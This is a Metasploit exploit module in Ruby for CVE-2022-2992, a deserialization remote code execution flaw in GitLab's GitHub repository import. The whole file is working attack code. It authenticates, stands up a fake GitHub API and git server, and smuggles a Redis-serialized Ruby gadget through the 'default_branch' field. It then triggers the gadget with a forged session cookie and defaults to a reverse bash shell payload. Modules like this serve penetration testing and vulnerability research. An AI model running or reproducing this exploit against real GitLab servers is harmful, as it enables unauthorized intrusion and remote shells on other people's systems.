GitLab GitHub Repo Import Deserialization Remote Code Execution Exploit

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck

  include Msf::Exploit::Git::SmartHttp
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::Remote::HTTP::Gitlab
  include Msf::Exploit::RubyDeserialization

  attr_accessor :cookie

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'GitLab GitHub Repo Import Deserialization RCE',
        'Description' => %q{
          An authenticated user can import a repository from GitHub into GitLab.
          If a user attempts to import a repo from an attacker-controlled server,
          the server will reply with a Redis serialization protocol object in the nested
          `default_branch`. GitLab will cache this object and
          then deserialize it when trying to load a user session, resulting in RCE.
        },
        'Author' => [
          'William Bowling (vakzz)', # discovery
          'Heyder Andrade <https://infosec.exchange/@heyder>', # msf module
          'RedWay Security <https://infosec.exchange/@redway>', # PoC
        ],
        'References' => [
          ['URL', 'https://hackerone.com/reports/1679624'],
          ['URL', 'https://github.com/redwaysecurity/CVEs/tree/main/CVE-2022-2992'], # PoC
          ['URL', 'https://gitlab.com/gitlab-org/gitlab/-/issues/371884'],
          ['CVE', '2022-2992']
        ],
        'DisclosureDate' => '2022-10-06',
        'License' => MSF_LICENSE,
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD],
        'Privileged' => false,
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [true, 'The username to authenticate as', nil]),
        OptString.new('PASSWORD', [true, 'The password for the specified username', nil]),
        OptInt.new('IMPORT_DELAY', [true, 'Time to wait from the import task before try to trigger the payload', 5]),
        OptAddress.new('URIHOST', [false, 'Host to use in GitHub import URL'])
      ]
    )
    deregister_options('GIT_URI')
  end

  def group_name
    @group_name ||= Rex::Text.rand_text_alpha(8..12)
  end

  def api_token
    @api_token ||= gitlab_create_personal_access_token
  end

  def session_id
    @session_id ||= Rex::Text.rand_text_hex(32)
  end

  def redis_payload(cmd)
    serialized_payload = generate_ruby_deserialization_for_command(cmd, :net_writeadapter)
    gitlab_session_id = "session:gitlab:#{session_id}"
    # A RESP array of 3 elements (https://redis.io/docs/reference/protocol-spec/)
    # The command set
    # The gitlab session to load the payload from
    # The Payload itself. A Ruby serialized command
    "*3\r\n$3\r\nset\r\n$#{gitlab_session_id.size}\r\n#{gitlab_session_id}\r\n$#{serialized_payload.size}\r\n#{serialized_payload}"
  end

  def check
    self.cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']) unless cookie

    vprint_status('Trying to get the GitLab version')

    version = Rex::Version.new(gitlab_version)

    return CheckCode::Safe("Detected GitLab version #{version} which is not vulnerable") unless (
      version.between?(Rex::Version.new('11.10'), Rex::Version.new('15.1.6')) ||
      version.between?(Rex::Version.new('15.2'), Rex::Version.new('15.2.4')) ||
      version.between?(Rex::Version.new('15.3'), Rex::Version.new('15.3.2'))
    )

    report_vuln(
      host: rhost,
      name: name,
      refs: references,
      info: [version]
    )
    return CheckCode::Appears("Detected GitLab version #{version} which is vulnerable.")
  rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError
    return CheckCode::Detected('Could not detect the version because authentication failed.')
  rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e
    return CheckCode::Unknown("#{e.class} - #{e.message}")
  end

  def cleanup
    super
    return unless @import_id

    gitlab_delete_group(@group_id, api_token)
    gitlab_revoke_personal_access_token(api_token)
    gitlab_sign_out
  rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e
    print_error("#{e.class} - #{e.message}")
  end

  def exploit
    if Rex::Socket.is_internal?(srvhost_addr)
      print_warning("#{srvhost_addr} is an internal address and will not work unless the target GitLab instance is using a non-default configuration.")
    end

    setup_repo_structure
    start_service({
      'Uri' => {
        'Proc' => proc do |cli, req|
          on_request_uri(cli, req)
        end,
        'Path' => '/'
      }
    })
    execute_command(payload.encoded)
  rescue Timeout::Error => e
    fail_with(Failure::TimeoutExpired, e.message)
  end

  def execute_command(cmd, _opts = {})
    vprint_status("Executing command: #{cmd}")
    # due to the AutoCheck mixin and the keep_cookies option, the cookie might be already set
    self.cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']) unless cookie
    vprint_status("Session ID: #{session_id}")
    vprint_status("Creating group #{group_name}")
    # We need group id for the cleanup method
    @group_id = gitlab_create_group(group_name, api_token)['id']
    fail_with(Failure::UnexpectedReply, 'Failed to create a new group') unless @group_id
    @redis_payload = redis_payload(cmd)
    # import a repository from GitHub
    vprint_status('Importing a repository from GitHub')
    @import_id = gitlab_import_github_repo(
      group_name: group_name,
      github_hostname: get_uri,
      api_token: api_token
    )['id']

    fail_with(Failure::UnexpectedReply, 'Failed to import a repository from GitHub') unless @import_id
    # wait for the import tasks to finish
    select(nil, nil, nil, datastore['IMPORT_DELAY'])
    # execute the payload
    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, group_name),
      'method' => 'GET',
      'keep_cookies' => false,
      'cookie' => "_gitlab_session=#{session_id}"
    })
  rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e
    fail_with(Failure::Unknown, "#{e.class} - #{e.message}")
  end

  def setup_repo_structure
    blob_object_fname = "#{Rex::Text.rand_text_alpha(5..10)}.txt"
    blob_data = Rex::Text.rand_text_alpha(5..12)
    blob_object = Msf::Exploit::Git::GitObject.build_blob_object(blob_data)

    tree_data =
      {
        mode: '100644',
        file_name: blob_object_fname,
        sha1: blob_object.sha1
      }
    tree_object = Msf::Exploit::Git::GitObject.build_tree_object(tree_data)

    commit_obj = Msf::Exploit::Git::GitObject.build_commit_object(tree_sha1: tree_object.sha1)

    git_objs = [ commit_obj, tree_object, blob_object ]

    @refs =
      {
        'HEAD' => 'refs/heads/main',
        'refs/heads/main' => commit_obj.sha1
      }
    @packfile = Msf::Exploit::Git::Packfile.new('2', git_objs)
  end

  # Handle incoming requests from GitLab server
  def on_request_uri(cli, req)
    super
    headers = { 'Content-Type' => 'application/json' }
    data = {}.to_json
    case req.uri
    when %r{/api/v3/rate_limit}
      headers.merge!({
        'X-RateLimit-Limit' => '100000',
        'X-RateLimit-Remaining' => '100000'
      })
    when %r{/api/v3/repositories/(\w{1,20})}
      id = Regexp.last_match(1)
      name = Rex::Text.rand_text_alpha(8..12)
      data = {
        id: id,
        name: name,
        full_name: "#{name}/name",
        clone_url: "#{get_uri.gsub(%r{/+$}, '')}/#{name}/public.git"
      }.to_json
    when %r{/\w+/public.git/info/refs}
      data = build_pkt_line_advertise(@refs)
      headers.merge!({ 'Content-Type' => 'application/x-git-upload-pack-advertisement' })
    when %r{/\w+/public.git/git-upload-pack}
      data = build_pkt_line_sideband(@packfile)
      headers.merge!({ 'Content-Type' => 'application/x-git-upload-pack-result' })
    when %r{/api/v3/repos/\w+/\w+}
      bytes_size = rand(3..8)
      data = {
        'default_branch' => {
          'to_s' => {
            'bytesize' => bytes_size,
            'to_s' => "+#{Rex::Text.rand_text_alpha_lower(bytes_size)}\r\n#{@redis_payload}"
            # using a simple string format for RESP
          }
        }
      }.to_json
    end
    send_response(cli, data, headers)
  end
end